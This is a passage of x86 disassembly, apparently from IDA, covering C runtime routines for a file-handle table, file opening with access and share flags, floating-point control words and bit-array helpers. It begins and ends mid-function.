		mov	ecx, offset dword_4CECE0

loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]

loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------

loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B

loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4CEDE0
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------

loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	dword_4CEDE0, 20h
		lea	ecx, ds:4CECE0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------

loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi

loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	dword_433C64, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		nop
		call	near ptr 25E0971h

loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------

loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4CEDE0
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	dword_433C64, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		call	near ptr 25E0971h
		nop

loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------

loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4CECE0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 25E0485h
		nop
		test	eax, eax
		jnz	short loc_41FEAD
		nop
		call	near ptr 265031Fh
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------

loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax

loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	dword_4CD9B8, eax

loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	dword_4CD9B4, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------

loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	dword_4CDC88, eax
		jz	short loc_41FF11

loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h

loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37

loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	dword_4CD9B4, 16h
		mov	dword_4CD9B8, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------

loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h

loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx

loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------

loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1

loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, dword_4CD9BC
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi

loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi

loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------

loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h

loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F

loc_42004C:				; DATA XREF: ___:00427A84o
					; ___:00427A90o
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------

loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		call	near ptr 26319EBh
		nop

loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		nop
		call	near ptr 265031Fh
		push	eax
		call	sub_41EF44
		pop	ecx

loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------

loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------

loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8

loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	dword_4CD9B8, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------

loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155

loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161

loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx

loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------

loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx

loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax

loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8

loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4

loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2

loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1

loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h

loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1

loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------

loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h

loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax

loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4

loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8

loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h

loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h

loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2

loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4

loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------

loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx

loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]

loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A

loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]

loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A

loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]

loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------

